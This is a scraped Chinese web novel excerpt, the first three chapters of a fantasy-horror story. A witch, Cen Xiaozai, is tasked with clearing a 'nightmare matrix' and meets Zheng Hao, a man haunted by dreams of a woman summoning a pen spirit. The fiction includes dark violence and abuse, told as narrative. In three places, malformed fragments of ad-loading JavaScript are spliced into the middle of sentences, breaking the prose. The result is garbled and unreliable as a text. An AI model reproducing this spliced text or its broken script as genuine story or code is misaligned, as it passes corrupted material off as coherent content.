《一个女巫穿进怪谈副本之后》 1. 1亿奖金 某个乌云密布的夜晚。 一道细长火光从云层坠下,划破深沉夜幕,跌向海面。 “嘭——” 刺耳的巨响过后,一架飞机如同垂死之鸟,落在了萨默斯群岛的东南角。 从旧世纪的航海时代至今,这片礁岛一直被称为“恶魔巢穴”。这里气候恶劣,荒无人烟,附近埋葬了无数船只、飞艇以及战斗机。 显然,也即将埋葬这架不幸的民用飞机。 这趟航班是从新唐飞往大洋彼岸的斯旺大陆。 黎明之前,幸存的乘客们缓缓聚集起来,咒骂、祈祷和哭声交织成一片喧闹。 但他们很快组成了临时搜救队,在恶魔巢穴周围寻找散落的物资和剩余的活人。 第一缕阳光照在海上,波光粼粼,仿佛通往天堂的阶梯。 有个粉发女孩趴在一块礁石上。 阳光落在她的发丝间,折射出灼灼金辉,如星火般跳跃。可那女孩却是脸朝下,手脚摊开,像一个“大”字,看起来已经了无生机。 “可能还没十八岁呢,真是可怜。”搜救队的队员们纷纷摇头叹息。 他们正准备继续搜寻别的地方,忽然听见一阵空灵又诡异的低语声。 所有人都想到了“恶魔爬出巢穴,将误闯岛上的人们生吞活剥”之类的传说,顿时汗毛直立。 “大清早的叽歪什么,还让不让人睡觉啊?” 岑小哉蓦地仰起头,眼皮重得只能打开半条缝,脸色比昨晚的天气更糟糕。 “难怪这么吵,原来帽子又不见了,它牡的。”她立即爬起来,摸着脑壳自言自语,转头瞥见一群傻子般蓬头垢面的落汤鸡。 “你们谁呀?” … 虽然岑小哉整个人看起来整洁得令人匪夷所思,但搜救队成员们还是将她拎回了营地。 “有人看见过巨蜥吗?头差不多这么大——”她张开双臂,比划出一个非常恐怖的脑袋尺寸。 “萨默斯巨蜥长着红眼珠,但瞳孔是金色的。你们见过吗?” 岑小哉见到每个人都这么问。 于是大家都默认这个女孩子可能是失去了家人,或者坠机时脑部受创,所以精神错乱了。 幸存者里面刚好有个医生,负责给所有人做简单的身体检查。女孩板着脸,勉强接受她的捏捏碰碰,但死活不让人动她那两条浅粉色麻花辫。 “要是头发弄乱了,鱿克肯定以为我又是去跟别人打架……不行!” 一周后,营地里开始发生争执,甚至出现流血事件。 最后他们决定,以不同大陆为区分,进行一场决斗。一队是黑发黑眼的新唐.人,另一队则是金发碧眼的斯旺人。 获胜一方拥有支配权,可以自由分配营地里剩下的所有物资,以及所有女性。 后者被驱赶到一块四面环水的巨大礁石上,等待着对她们来说没有任何区别的决斗结果。 “哎,想要通过阶级评审,怎么就那么麻烦呢。”岑小哉依旧衣着光鲜,坐在礁石上一边叹气,一边踢着海水。 但无人发觉,她那双猩红色的短靴上始终没有沾上半点水迹。 身后挨挨挤挤的人群里,刚开始只是隐约有几声啜泣。细弱哭声却仿佛会传染一样,骤然间爆发成一阵更加凄惨的嚎啕。 以至于,岑小哉被吓了一跳。 她转头看去,那些头发斑白的妇女、懵懂的孩童,还有许多年轻女子,几乎都在瑟瑟发抖。 只有一个看起来就很不好惹的大美女还抱臂站在原地,不过她的眉头紧蹙,脸色也非常苍白。 岑小哉两手捏着自己的麻花辫,溜达到美女身边:“艾娜?你——” 身高一米八的艾娜头也不回:“我没有见过什么巨蜥。” “——在看什么?”岑小哉问道。 艾娜转过头,岑小哉仰着脸,两人大眼瞪小眼。 终于,艾娜重新看向前方海岸,那张美艳的脸庞上挂起一抹冷笑:“你居然还不知道吗?男人们在决斗,赢的一方可以得到营地里剩下的所有资源。” 岑小哉看了看周围的女人和女孩们,直到现在才理解:原来她们也是“资源”。 “那你们为什么不反抗,也不离开呢?”她觉得很困惑。 旁边的年轻女孩哭得更厉害了,看起来还被岑小哉那句话气得不轻:“你在说什么傻话?这片岛上只有野兽,根本没有人。物资都被他们收走了,我们还能逃到哪里去?” 这时,对面的岸边忽然传来一阵欢呼声——有人受伤了,鲜血喷涌而出,迅速渗入沙地中。 唯一一个可以留在岸上的女人是凯瑟琳医生,但她也只能在两个矮小男人的监视下给伤员包扎,无法做任何“多余的事情”。 “这样吧,咱们来打个赌。”岑小哉转过身,向着礁石上所有女性宣布,“如果我能成功离开这块礁石,你们就团结起来反抗。” 话说完,她“扑通”一声跳进了海里。 所有人呆呆地看着她,像一条小海豚那样悠哉悠哉地游向远方。夕阳照在那女孩的粉色发辫上,凝成不祥的血色。 岑小哉的身影渐渐隐没在波涛深处。 不知道是谁起的头,她们开始朝岸边大喊:“有人跳海了!那个疯丫头跳进海里了!” 艾娜站在原地,双手紧攥成拳。就连她也不明白,自己到底是害怕岑小哉被淹死在大海里,还是害怕她真的逃离这个人间地狱。 决斗被迫暂停。 男人们也跳进海里,追捕那个企图逃走的疯丫头。 岑小哉其实游得很慢,不像在逃命,更像在玩水。即将攀上另一块大礁石的时候,一双大手狠狠抓住她的双脚,直接往下拽。 粉发女孩就这么被倒着拖回了岸上。 当初把她拎回营地的搜救队队长一脸沉痛,宣判了对岑小哉的处决方式:“我们要对你处以火刑,罪名是‘破坏团结、背叛同胞’。” 夜晚降临,她被绑上了火堆。 从始至终都没人发觉,这么多天以来,这个女孩为了寻找所谓的“萨默斯巨蜥”,经常在树林里钻来钻去,全身上下却还是干干净净,整洁得近乎诡异。 一阵带着腥味的海风吹过来,烈火噼啪作响,伴随着人群中一两声压抑的哭泣。 艾娜和凯瑟琳医生都想要出面为岑小哉辩解,但她们立刻受到了其他人的阻拦。 “烧死她!烧死这个不自量力的疯丫头!” 白天里还在互相残杀的男人们此刻围着火堆,坐在一起勾肩搭背,像是将行刑当成了有趣的娱乐活动。 “女士们,引以为戒!这就是背叛者的下场!”搜救队队长转过身,举起火把,高声呐喊。 而火堆上的受刑者还在微笑。 背叛? 愚蠢的人类们,原来你们就是这样自欺欺人,将一切脱离掌控的事情称之为“背叛”。 火焰骤然熄灭,灰烬拂落,化为一顶猩红色的尖顶帽。 “我好像记错了,萨默斯没有巨蜥,只有——” 黑暗中缓缓浮现一双赤金竖瞳。 “恶魔。” 所有人的脑子里不约而同出现这个名词。 … “很遗憾,该坐标的精神污染彻底扩散,本次阶级评审考核失败!” 成功吓晕所有人类之后,岑小哉直接被踢回了家里。 二楼的墙壁上,几个抽屉正在鬼哭狼嚎。 半空中飘着一把“魔法扫帚”。 岑小哉满脸郁闷,抬手握住“魔法扫帚”镶嵌着圆环的柄端,拔出明晃晃一把斩.马刀,直接捅进其中跳得最响的那个抽屉。 它发出一声凄厉的尖叫,黑紫色鲜血缓缓淌下。 所有吵闹戛然而止。 但地板下面立即又传来一声带着粗犷老烟嗓的怒吼:“玛菲!那是我好不容易擦干净的橱柜和地板,你又杀了那只八目莲蓬蟾蜍!是不是忘记它的血会留下最难看也最难清理的惨绿污渍?我上次……” “真的很抱歉,所以只能再次麻烦你了,亲爱的鱿克。”那只洁癖章鱼的话被岑小哉很敷衍地打断。 她拉开旁边的抽屉,跳了进去。 接着从三楼的虚空中掉落,正好“啪”地往蒲公英毛毯上一躺。 岑小哉躺平之后,勾勾手指,卧室边上抱着糖果罐子的跳蛛雕塑立刻滑行过来。 “小明小明,仙人掌宝宝们的发育情况如何?”她随口问了一句。 旁边那颗闪闪发光的水晶球迅速应答:“亲爱的女巫玛菲,有一个好消息和一个坏消息。” 岑小哉嚼着彩虹干酪的嘴巴停顿了一下,叹气道:“先说坏消息。” “好的。坏消息是:人类世界的精神污染开始向这边漫延了,可能会导致魔法生物们全部陷入应激状态。” “呃,那好消息呢?” “好消息是:飘到曼陀罗星系大气层的是一个不完整的噩梦矩阵。” 岑小哉“噗”地吐出一道彩虹。 在此之前,跳蛛雕塑抱着糖果罐子迅速躲开。 “这它牡的算什么好消息?!” … 灾变发生的第二天,岑小哉忧心忡忡地抱着个小花盆,骑着那把实际上是冷兵器的“魔法扫帚”,飞进了圣萨罗斯学院的大门。 结果好巧不巧,一落地就碰见隔壁班那几个最喜欢用鼻孔瞪人的魔法师学徒。 “嘿!丑小鸭,你不是被圣萨罗斯提前踢出去了吗?还回来干嘛?” “哈哈哈瞧她手里那颗快要没命的多肉,乌漆麻黑的,是刚从魔鬼的胆汁里打捞出来吧!” “听到没?0+1号宝宝。”岑小哉在原地站定,低头向臂弯里的盆栽小声告状,“他们居然笑话你是一颗魔鬼胆汁里打捞出来的多肉。” 仅有普通鸡蛋大小的那坨萎靡灰色植物开始嘤嘤哭泣。 不到三秒,它“哗啦”一声冲天而起!瞬间拔高了十几二十米,一身尖刺如长针闪烁着狰狞亮光—— 这棵一点儿也不梦幻的梦幻仙人掌骤然弯腰,“唰”地窜向那群魔法师,神龙摆尾般一记左右横扫! 刚刚出言挑衅的两名魔法师学徒被扎成豪猪,创飞 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 到角落里。剩下那些吱哇乱叫着,一溜烟全跑了。 除了女巫本巫,谁也没想到区区一棵病入膏肓的小小植物也能爆发出如此强悍、迅猛的杀伤力。 梦幻仙人掌们原本拥有粉蓝色的表皮、绒毛般金黄软刺,以及人见人爱的好脾气,是非常受欢迎的家养伴生植物。 但噩梦的侵袭改变了一切。 它们现在变得狂躁易怒,产生了极强的攻击性。 而且特别记仇。 如此一来,哪怕拿出全部身家,岑小哉也赔不起这批早已被定购完毕的梦幻仙人掌! 更可怕的是,如果本次奇点中期,大气层交通管理部门开出的一堆罚单——保守估计需要250万牵牛币——不能按时支付,岑小哉就得带着她的砂糖橘、小菠萝还有鱿克·里里一起被踢出阿柏基地,一家人整整齐齐地流落街头了。 不管是女巫还是章鱼管家都可以受苦,但苦谁也不能苦了两只圆头圆脑的小猫咪! “请到阅览室来,玛菲小姐。” 站在山毛榉枝头旁观了一切的芭芭拉·麦克林托克教授朝她颔首致意,随即张开翅膀,从树上飞进了塔楼窗口。 授业恩师只简单吩咐了一句话,岑小哉和她的梦幻仙人掌立即变回了乖巧形态。 理论上,“袭击同学”这种行为将被圣萨罗斯学院的风纪委员会通报批评。但今日痛殴魔法师学徒的,只不过是一颗弱小无助且重病在身的未成年植物,跟女巫玛菲没多大关系。 她很放心地单手托着0+1号宝宝走进塔楼通道。 沿着顺时针螺旋阶梯往上,攀爬直梯抵达一座平台——如此重复两次,再走下逆时针螺旋阶梯回到入口处,打破不知何时出现的镜子,一只鸽子在飞进拱门的同时又飞出了拱门。 “再见,埃舍尔教授。祝福您以及您的双亲。” 岑小哉终于抵达阅览室。 按照惯例,爬楼梯爬得想吐的女巫每次都要问候一遍设计出这座阅览室的多维建筑学创始人。 砂岩墙壁与拱门后的空间里摆放着一排又一排古朴书架,它们仿佛无止境地向上延伸,直到接入穹顶高处的幽暗之中。 一只猫头鹰站在阅览室窗边的长方形书桌上,爪边放着一本紫底漆金封皮的书籍。 “好久不见,教授。您的羽毛光泽比以前更加鲜亮了。” 女巫同手同脚地走过去,将手里焉巴巴的小盆栽放到对方面前。 呆在她脸上的笑容不情不愿,像是下一秒就要落荒而逃。 麦克林托克教授看了看那颗一点儿也不梦幻的梦幻仙人掌,轻轻摇头:“我看过你提交的报告书了,玛菲小姐。” 女巫脸上的笑容终于落荒而逃。 “要知道,‘定期排查花园的安全隐患’本就是园丁职责的一部分。在这方面,你还有非常大的进步空间。” 圣萨罗斯学院这段时间正处于长达半个奇点中期的极昼,因此,阅览室的穹顶可以看到最灿烂绚丽的星空。 此刻,穹顶中央浮现出一朵环状星云,像火焰圈住了一汪海水,彼此都熠熠生辉。 “这就是那个‘噩梦矩阵’的来源?” 岑小哉抬头看了一眼,感觉自己的瞳孔差点烧起来,闭眼好久才勉强缓解那股灼痛感。 “是的。它出自一个银白色椭圆盘形棒旋星系,位于可观测宇宙较为荒凉的边缘地带,当地居民称之为‘银河系’。” “换句话说,‘噩梦矩阵’实际上链接着可观测宇宙和不可观测宇宙,相当于一个天然形成的超空间通道。” 麦克林托克教授的语速轻缓,声音里永远不带丝毫私人情绪。 以至于大部分时候,岑小哉总会忘记,她的这位宇宙生物艺术学导师是一只笑鸮。 据说,这种已灭绝的鸟类鸣叫声非常像精神病患者的窃笑。 当然在这种时刻,女巫也没心思去研究导师与精神病患者的相似性,她已经隐约察觉到了麦克林托克教授话语中那一丝难以捉摸的忧虑。 “我们暂时还不清楚‘噩梦矩阵’形成的具体原因,当务之急是要以最快速度将它消除,以免再造成更加严重的后果。毕竟这次,曼陀罗星系里受到灾变影响的从业人员不止你一个。电子怪兽园区那边损失最惨重,并且无力回天。这也意味着,玛菲小姐——你还有将功补过的机会。” 而岑小哉听到的是:“&%*#…【无力回天】…&%*#…【将功补过】…&%*#” 她吓得一激灵,还没想明白自己为什么能够“将功补过”,麦克林托克教授已将爪子旁边的那本书推到她面前。 深紫色与金黄色交织成诡谲花纹,穹顶上水火交融的星光落入其中,那些花纹因此折射出一圈圈璀璨色彩。 “我已经向评审委员会提出申请,如果你能解决这个‘噩梦矩阵’,他们愿意重新考虑,是否通过你的本次阶级评审。” “好的。”岑小哉一脸沧桑地点了点头,状态跟她的那颗0+1号宝宝一样萎靡。 “而且,你还能获得1亿牵牛币的奖金。”麦克林托克教授又补充道。 2. 开启噩梦 “哦,奖金。” 还没反应过来的女巫继续点头,随后突然瞳孔地震,差点把自己的舌头咬下来。 “等,等会儿!多少?!” “1亿牵牛币。”麦克林托克教授很有耐心地重复了一遍,“足够让你获得阿柏基地的永久定居权。” 这个美好的小目标使得岑小哉当即“嗷”一声哭出来:“太感谢您了,教授!您简直就是我的救命恩人!” “上次你差点被关进禁闭室时,也说过一模一样的话。” 面对她的泪眼滂沱,猫头鹰导师依旧语气平淡,根本无动于衷。 由于闯过的祸实在太多,岑小哉不得不收起眼泪,挠头想了半天,最后才想起来麦克林托克教授说的“上次”,自己到底干了什么好事—— 那次,她私自与亡灵法师首席学徒布兰奇·X·卡奥进行了一场“友谊算个鸟屁,老子才是第一”的炼魂比赛。 炼的是对方的魂。 谁先痛得受不了喊停就输了。 最后两败俱伤,各自在医疗室躺了半个学期,险些错过期末考试。 女巫有点不好意思地咳了咳:“不过我还有一个小小的问题需要请教您。” “说吧。” “有什么办法能救救我的梦幻仙人掌吗?” “《诸禅四十二世魔法书》会告诉你答案,它也将引导你一步步解决‘噩梦矩阵’。”麦克林托克教授伸出左翅,指了指那本封面上光华流转的书籍。 “诸禅四十二世?传说中被关押在静止场牢狱里的魔王?”女巫表示吃惊。 “这本魔法书就是用祂的力量制作而成的。” … “笔仙寄身之笔的全部碎片。” “两簇乱葬岗鬼火。” “一磅虚假神像的边角料。” “五毫克婴灵笑声。” “四钱僵尸灰。” “一滴伥鬼的眼泪。” “风干魅魔的一截……尾巴尖?” 以上就是声名显赫的《诸禅四十二世魔法书》倾情提供的一份魔药配方,据说能彻底治愈岑小哉封存在婴儿梦境花园里那一半病危、另一半变异的梦幻仙人掌们。 考虑到这本魔法书的“声名显赫”,岑小哉总觉得自己是在与虎谋皮。 她非常担心,用这个配方做出来的魔药,搞不好会把仙人掌宝宝们直接毒死。 【尊敬的新主人,您接下来必须进入噩梦矩阵,寻找七位受害者并为它们进行心理疏导。每个副本的任务完成之后,就能获得相对应的魔药材料作为奖励。】 魔法书毫不在意她的忧虑,开始发号施令了。 它的声音扭扭捏捏,听起来跟魔王没半个牵牛币的关系。 更像是一只随时要断气的哨子精。 【幸运的是,首次开启噩梦副本可以优先获得一个新手福利。它被命名为‘终极反派的日记本’,如果您足够细心的话,就可以……】 “你好,我有一个问题。” 女巫面无表情地举起右手,打断了它的滔滔不绝:“作为一本魔法书,你为什么会有‘新手福利’这种东西?” 【尊敬的新主人,想必您应该听说过出版了我的伟大商业集团:‘哈雷彗星’。】 听到这个大公司的名字,岑小哉再一次瞳孔地震,她手边的斩.马刀也有点不安地抖动了一下扫帚刀鞘。 本次奇点初期时,曼陀罗星系的广播曾出现这么一条新闻:“哈雷彗星公司新研发了一款以‘无限糟糕引擎’为动力系统的清洁型跨星系飞行器,截至目前为止,这款新产品已经荣登该品牌的畅销榜首位。” 岑小哉那些堆积成山的非法飞行罚单正是出于这条新闻的启发——她私自将师尊岑娥赠予的生辰礼物(即那把斩.马刀),改装成了这款“无限糟糕引擎”动力的飞行扫帚。 而这本《诸禅四十二世魔法书》竟然也来自财大气粗的哈雷彗星公司。 “真不愧是我导师,太豪横了!”岑小哉当即起立鼓掌,与此同时,她的后背上直冒冷汗。 魔法书似乎无意揭发新主人曾经的侵权行为,它清了清嗓子,决定继续说点什么来抬高自己的身价:【所以,我实际上也是一个非常先进的智能导航系统,专门用于处理带有精神污染性质的……】 “你好,我还有一个问题。” 女巫满脸假笑地举起右手,再次打断了它的滔滔不绝:“作为终极反派,为什么会有写日记这么——呃嗯,充满复古青春气息的爱好?” 魔法书封面上的金色花纹突然有点跳帧,看起来很想暴起将自己的新主人当场切片做成镂空书签。 【因为他是一个擅长钻律法漏洞的高智商犯罪分子兼碎尸杀人狂。】 “蛤?”岑小哉张了张嘴,脸上表情很茫然,比一条找不到鱼食的金鱼好不到哪里去。 “写日记和律法漏洞还有碎尸杀人……之间好像没什么因果关系吧?” 魔法书已经把女巫和她的新问题当成了空气。 日记本从天而降,差点砸在她头上。 “‘在我最喜爱的照片里,藏着一个关于她的秘密’。”女巫翻开日记本,就只看见扉页上写着这么一句话,没头没尾,语焉不详。 除此之外,后面的所有内容都被奇怪污渍弄得乱七八糟,根本看不出原本字迹。 岑小哉翻来覆去研究了很久,实在不愿意相信,这就是魔法书赠送的唯一一个新手福利。 “这就是——传说中的——‘终极反派的日记本’?” 她此刻觉得,自己刚才实在高兴得太早了,而这个破烂魔法书,它真的太坑了!!! “请问一下,除了给本人添堵以外,这个福利还有别的用处么?没有了吧?啊?” 魔法书吐出日记本之后就开始装死,基本上对它尊敬的新主人不存在一星半点的敬意。 女巫被迫接受现实,决定自力更生,从日记里提到的“照片”入手—— “行!那我就趁噩梦剧情还没正式展开,擒贼先擒王,保护受害者,想办法掐住boss的七寸!” 很快,岑小哉就铩羽而归。 噩梦矩阵停留在曼陀罗星系上空,像个被乌云浓雾包裹起来的巨型蚌壳一样,怎么也打不开。 铩羽而归的岑小哉开始琢磨着,要炼制哪种级别的粒子武器,才能把它当场炸成一朵花开富贵的小型蘑菇云。 但魔法书阴阳怪气地建议她不要再搞这种两败俱伤的事情。 【显然,噩梦之主并不欢迎魔法世界的来客,入口早已被牢牢锁住。】 女巫只能暂时放弃她的计划。 … 一棵大树叉着腰傲然屹立在辽阔草原上,以整块蓝得发狂的天空与三坨白得放肆的云朵作为自己的出场背景。 转到正面看就可以发现,这棵树其实是一座房子。 而它的现任主人即将破产。 树屋的第一层是客厅,两只三花小猫咪正在追逐一块到处游走的抹布。准确来说,它们是在追逐拿着抹布到处打扫卫生的那只隐形章鱼。 第二层是储藏室与厨房,环状树壁被做成一圈橱柜。上面的每个抽屉长得一模一样——它们各自岁月静好,偶尔会皮一把,趁主人不注意就互换位置。 但有几个上了锁的抽屉一刻也不停地鬼哭狼嚎,动静毫不逊色于楼下的两只小奶猫和那只话痨章鱼。 第三层是卧室。 有必要解释一下——魔法世界(部分本地居民称之为“不可观测宇宙”)的一次奇点循环分为初期、中期、末期三个阶段。 用人类世界(又 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 称“可观测宇宙荒芜地带目前仅有的新生级文明”)的四维角度来衡量,这种循环叫做“年”。 岑小哉抱着她的坩埚,在二楼枯坐了二千九百二十分之一个奇点中期(即一个小时)。 屋子里那些大大小小的烧瓶、烧杯、试管,正缓缓喷涌出五颜六色的烟雾。 尽管章鱼管家费尽了心思,八目莲蓬蟾蜍的血迹最终还是留下了一道浅浅绿痕。因此橱柜和抽屉们保持安静,不敢再打扰女巫的思考,以及小猫咪们四仰八叉的睡眠。 此刻,岑小哉的脑袋里空空如也,比那口坩埚还干净。一股忧伤情绪将她吞没,并仔细咀嚼了好几遍。 而树屋一楼,鱿克·里里滑进客厅壁画上的魔法阵,又打开厨房兼储藏室的其中一个抽屉,从里面溜达出来。 它叼着一支玳瑁烟斗穿过袅袅升起的彩色烟雾,随后吹出一串薄荷味儿的绿泡泡。 在章鱼管家看来,它上午为小主人编好的两条麻花辫,到了下午竟然还保持着原状——这件事显得格外可疑。 “玛菲,你是不是又尝试了什么禁忌魔法?” 比如“把某具木乃伊的绷带偷偷缝到电视机女鬼的衣摆上”之类的。 “我以女巫琳达的名誉发誓,今天我一件——哦不,半件坏事都没干过。” 连亲妈都搬出来了,想必她今天确实还没做坏事,至少没怎么祸害世间任何生灵。 鱿克暂时收起了它的疑虑:“那好吧,或许你想吃点什么吗?我可以帮你煮一碗海鲜面。” 女巫于是让出了她的坩埚。 “噩梦很难从外部开启,它们都被锁住了,就连魔法书也没什么好办法。” 岑小哉换了一把驼鹿造型的椅子抱着,继续接受忧伤情绪的咀嚼。 “今天从人类世界购买的蟹足还算新鲜,奶油蘑菇汤底也值得一试。”鱿克用腕足握着长柄汤勺,搅了搅坩埚里的汤水。 “确实如此。”女巫点点头,“它说这是很关键的第一步,得靠我自己。” “那就再加点胡萝卜和生菜吧。”章鱼管家用五根空闲得不知如何是好的腕足朝她比了个“OK”的手势。 海鲜面很快就煮好了,被盛进一个中号的鸡公碗里。 鱿克又卷起抹布和刷子,打算顺便把坩埚洗干净。 “听说人类世界要有钥匙才能开锁……”岑小哉一边拎起筷子准备吃面,一边咕哝着思考问题。 “啊,我知道了!得先找到能够开启噩梦的‘钥匙’!” 女巫立刻兴高采烈地扭头召唤水晶球:“小明小明,检索一下人类世界当中主题为‘噩梦’的各种怪谈,将其中关于‘高智商犯罪分子’、‘碎尸杀人狂’的案例播报出来。” 被放置在橱柜上的“小明”应声而动,一阵炫彩流光闪过,它开始娓娓道来。 “因先天性心脏病猝死的社畜郑颢魂穿到七年后,变成某大城市的实习生‘秦正浩’。这位幸运的穿越者荣获一个技能:‘此刻你是张三·随机咔咔乱杀’。” “郑颢很悲伤地发现这破技能在治安良好的大城市毫无卵用,但不知道为什么,他每天晚上都会做噩梦……看见一个女鬼在瞪他。” 下一秒,岑小哉随手撂在后面地板上的日记本自动翻页,幽幽飘出一个陌生女人的声音—— “笔仙,笔仙。你是我的前世,我是你的今生,若愿与我续缘,请在纸上画圈。” 乌云与浓雾从天而降。 整个厨房都被淹没,什么也看不见。 “玛菲?”章鱼管家顶着一身雪白泡沫从坩埚里探出头,却发现厨房里空无一人。 所有玻璃器皿依然静静喷涌着彩色烟雾,小女巫却连人带碗消失得无影无踪。 而那本魔法书以及它带来的日记本也同样消失不见。 3. 召唤笔仙 “笔仙,笔仙。你是我的前世,我是你的今生,若愿与我续缘,请在纸上画圈。” 太阳已落山,黄昏时的天色阴冷,如一张死不瞑目的脸。 一个女人独自跪在十四楼天台。 她低着头,长发乱糟糟披散在脸侧,瘦骨嶙峋的双手紧紧攥着一支铅笔,面前放着一张白纸。 “笔仙,笔仙。你是我的前世,我是你的今生。” 手背已被尖利指甲掐出血迹,她却浑然未觉。干涸双唇开开合合,一遍又一遍地念着那段话,就好像—— 已经被什么东西吞噬了神智。 “若愿与我续缘,请在纸上画圈!请在纸上画圈!” 她的语速变快,声音越来越低,越来越嘶哑,仿佛瞬间苍老了几十岁。 握着铅笔的双手开始颤抖,到最后她整个人都开始疯狂抽搐,笔尖却始终没有落到白纸上。 目睹了一切的郑颢很想跑,但是他怎么也动不了。 直到有人突然从背后踹了他一脚。 郑颢不受控制地往那女人的方向扑过去,眼看就要摔个狗啃泥。 然而他轻飘飘穿过了女人的身躯,一阵微风吹动她发尾。 过了好几秒,她才呆滞地抬起头。 “冯筱迁?怎么……是你?”郑颢发现,自己认识这个女人。 也许,不止是认识。 但惊讶在下一秒升级为惊恐——他脚底生风,直接从十四楼天台外急速坠向大地。 “救命啊!” 郑颢尖叫着醒过来。 整个人像一条被狠狠摔在砧板上的鱼,喘得上气不接下气。 那种从高空跌落的窒息感还沉甸甸压在心口,郑颢几乎以为自己会再被活活吓死一次。 毕竟,这跟他猝死之前的感受简直完全相同。 作为一头倒霉社畜,郑颢短短三十载的人生终点就是:实质意义上的加班加到死。 别人猝死之后穿越到异世当克系邪神,上天入地无所不能。而他一睁眼,却只是换了个普通实习生的身体,不但要继续996,还得从零开始奋斗,怎一个惨字了得。 但事实证明,郑颢想得太美了。 他那天醒过来的时候是周日上午,不用上班,用了一天的时间来接受自己“夺舍重生”的现实。 到了晚上十二点,人刚躺下,一闭眼就到了那个楼顶天台—— 怪梦持续了整整一个星期。 哪怕郑颢强迫自己颠倒作息,中午十二点顶着大太阳请病假回家睡觉,他都会在梦里看到诡异的女人背影,然后被她倏地一扭头——瞬间惊醒。 只不过之前六次,郑颢都不知道,原来自己梦见的人,就是冯筱迁。 原身秦正浩的通讯录黑名单里,这个名字位列第一。 周一那天早上,郑颢第二次看见她的名字,则是在公司销售部的“业绩之星”荣誉榜上——同样位列第一,还附带着一张艳丽动人的半身照。 “哟!我说小秦啊,你该不会还惦记着这位‘女神’吧?”隔壁工位的麓哥忽然冒出来,朝他挤眉弄眼,“没必要哈,天涯何处无芳草,何必单恋一枝花呢?” 由于对方实在过分热情,郑颢只能尴尬地笑了一下。主要是“初来乍到”,摸不清楚情况,怕自己露馅。 麓哥却更来劲了,瞥了瞥四周,凑近要拍他肩膀说悄悄话。 “‘女神’这几天没来上班,听说是请了长假,也没人知道她躲哪儿去了。可她给胡总当小蜜的事儿闹得人尽皆知,想避过风头哪有那么容易。你听哥一句劝,这种拜金女还是玩玩过把瘾就算了,当什么接盘侠嘛不值得!” 这都什么乱七八糟的…… 大概是平时生活习惯不太好,这个麓哥一张嘴就是汹涌而来的死老鼠味儿,郑颢实在被熏得听不下去了,赶紧把人支开。 “知道了哥,搬砖要紧哈哈。” 出于对原身隐私以及陌生女性的尊重,他也没去细究那几人之间到底有什么情感纠纷。 到了第七天晚上,郑颢又梦见同样的诡异场景:阴冷天台,长发女人的背影。 这次他终于知道,是冯筱迁在召唤笔仙。 … 被踹出天台吓醒之后,郑颢起码缓了半分钟才定神。他总觉得,梦里那个冯筱迁抬头的时候,好像看见了自己,忽然就很震惊的样子。 用指纹解锁了秦正浩的掌上终端,郑颢实在按捺不住求生欲,往前翻了好几页浏览记录,终于看到一周前的云端头条:#女白领私密照意外泄露# 原帖早已被删除,能够查询到的照片也已经全部打码,底下评论区除了万人唾骂之外就是猥琐至极的“求车牌号”,并且不断冒出“‘白领门’女主角冯某某”的私人信息。 连她的通讯号码都被公布出来,估计早已被心怀不轨者轰炸到无法继续使用了。 次日头条是所谓的#“白领门”后续#:该公司老总的正房夫人上门打小三,在写字楼入口拉横幅曰“替夫纳妾”。 评论区依然是各种不堪入目的辱骂。 郑颢往下划拉了几秒,终于忍无可忍地关闭页面。 之后他又查询到七年前,也就是自己狗带的同一天,云端头条却是耸人听闻的#男子因聘金杀害16岁怀孕女友# “案件实情为‘男子性侵未成年少女致其怀孕’,之后携刀具半夜入室杀人,杀死女孩全家,最终造成六尸七命的惨剧。” 虎毒不食子,这畜生连自己的孩子也没放过,还杀害了小姑娘的父母、弟弟,以及爷爷奶奶。 郑颢越看越觉得毛骨悚然。 房间里一片漆黑,他躺在床上不敢继续睡,只好开始发散思维:“冯筱迁看到的人会是谁呢?是郑颢,还是……秦正浩?” “反正都是你。” 有人回答了他的问题。 郑颢若有所思地点了点头,冷不丁想到,除了他这个人类之外,屋子里剩下的活物,就只有半夜里出来觅食的蟑螂和老鼠了。 那刚刚是谁在说话? 而且,没有呼吸声。 “哇——鬼啊!有鬼啊!”这是郑颢内心的尖叫。 他本想强装镇定,催眠自己,但又很担心会再次梦见冯筱迁在召唤笔仙。 一直失败倒也还好,要是她碰巧成功了—— “那么,笔仙的第一个索命对象,估计就是你。” 对方又开口了,声音冷冰冰。 而郑颢确信,自己刚才完全没说话。 “为什么?凭什么?你又是什么?!” 他当场掀掉被子,跳了起来。紧接着,却闻到了热气腾腾的面食香味。 “哒”,一记响指声。 灯光骤然亮起。 郑颢看见了飘浮在房间半空中的……一个鸡公碗。 “你好,1号‘钥匙’。” 对方打了个招呼,让他更加摸不着头脑。 “你,你隐身了?还是说,你是透明人?” “透明人”沉默了一下,怒骂道:“透你个知了猴!我是女巫。” 最后那四个字仿佛一句咒语。 鸡公碗后边闪现出猩红尖顶帽、背带裤与短靴。珍珠白的圆领衬衫之上,倏地垂下两条浅粉色麻花辫。 一张高鼻薄唇的妖异面孔,看似苍白光滑,颊边却又布满星星点点的灰色斑痕。 “我叫岑小哉。” 宽大的帽檐阴影,半掩着一双赤金竖瞳。 咋一看像蜥蜴,眨眼又变成了山羊。 被她居高临下盯住,郑颢有种身在史前原始森林的恐惧感。恍然觉得,这个女巫更像是某种体型巨大的冷血动物。 但她手里的鸡公碗和筷子,彻底毁掉了这种神秘氛围。 女巫正浮在半空中吃面。 一碗看起来很寻常的海鲜面——是奶油蘑菇汤底,还加了胡萝卜和生菜。 说实话,郑颢馋了。他此刻也很想去煮一碗香喷喷的泡面,来抚慰自己受到重大惊吓的脆弱心灵。 但他更牵挂的,自然是如何才能保住自己“重获新生”没几天的小命:“这位……女巫你好,你刚刚说,笔仙要找我索命,是为什么啊?” 岑小哉从鸡公碗里抬起脸,冷冷瞥了他一眼,继续吸溜面条。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >郑颢后脑勺上的头皮蓦地绷紧。 他擦了擦额边几滴冷汗,只能自己小声嘟囔起来。 “其实,其实我是真不认识冯筱迁女士!来‘这里’之前,我也没干过什么伤天害理的事情……呃,打死蟑螂蚊子这些,应该不算吧?” 岑小哉用三个字打破了他的心存侥幸:“不好说。” 郑颢顿时惊呆了。 “难道她召唤出来的笔仙,还能是我打死的蟑螂蚊子不成?” 